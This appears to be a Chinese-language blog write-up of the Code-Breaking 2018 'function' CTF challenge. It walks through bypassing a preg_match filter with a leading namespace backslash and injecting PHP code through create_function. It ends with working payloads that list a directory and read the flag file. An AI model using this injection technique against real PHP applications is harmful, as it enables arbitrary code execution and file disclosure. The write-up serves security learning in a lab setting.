0%

function

前言

题目地址:https://code-breaking.com/

题目源码地址:https://github.com/phith0n/code-breaking/tree/master/2018

下载后在本地起docker即可,端口对应在docker-compose.yml

题目

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

源码很短,就是对传入的action参数做了检测:不能以字母数字下划线为开头并且结尾,那我们只需在开头(或者结尾)添加某些字符即可绕过检测

接下来我们看利用条件$action('', $arg),这里我试了system(),var_dump()等函数,均无果。

那么这里就是解决两个问题

  1. 绕过preg_match的检测
  2. 条件利用

后来在网上搜寻后,发现了create_function注入

1
2
3
4
5
6
7
8
9
create_function ( string $args , string $code ) : string
作用就是创建一个匿名函数,$args为函数变量,$code为函数内容

例子:
create_function('',"echo 123;");
等价于
function 匿名函数没有名字(){
echo 123; //此处为$code的内容
}

本地输出

image-20220317234246549

我们可以发现create_function函数直接将$args$code拼接,那我们是不是可以利用这个拼接直接结束函数,进而执行php代码

1
2
3
4
5
6
7
例如:create_function('','}phpinfo();//')
等价于
function 没有函数名(){
}phpinfo();// //此处为$code的内容
}
将其写作一行:function 没有函数名(){}phpinfo();//}
}闭合了前边的大括号,//注释了后边的大括号,中间内容随意填写,达到代码执行的目的

到这里我们解决了第二个问题

那在create_function前加什么字符才能使得这个函数正常执行呢,答案是\

在PHP5.3及之后,PHP支持命名空间。

默认情况下,所有常量、类和函数名都放在全局空间下(也就是\下,可以理解为Linux的/目录)

我们在调用函数时其实写的是相对路径,当我们在其他命名空间中调用原生函数时,必须使用绝对路径

命名空间解释:https://www.runoob.com/php/php-namespace.html

在本地尝试

1
2
3
4
5
<?php
function test(){
echo "123";
}
\test();

image-20220318000104809

第一个问题也已解决


所以最终payload为

1
action=\create_function&arg=}print_r(scandir("../"));//

image-20220318000919717

1
action=\create_function&arg=}print_r(readfile("../flag_h0w2execute_arb1trary_c0de"));//

image-20220318000957243

-------------本文结束感谢您的阅读-------------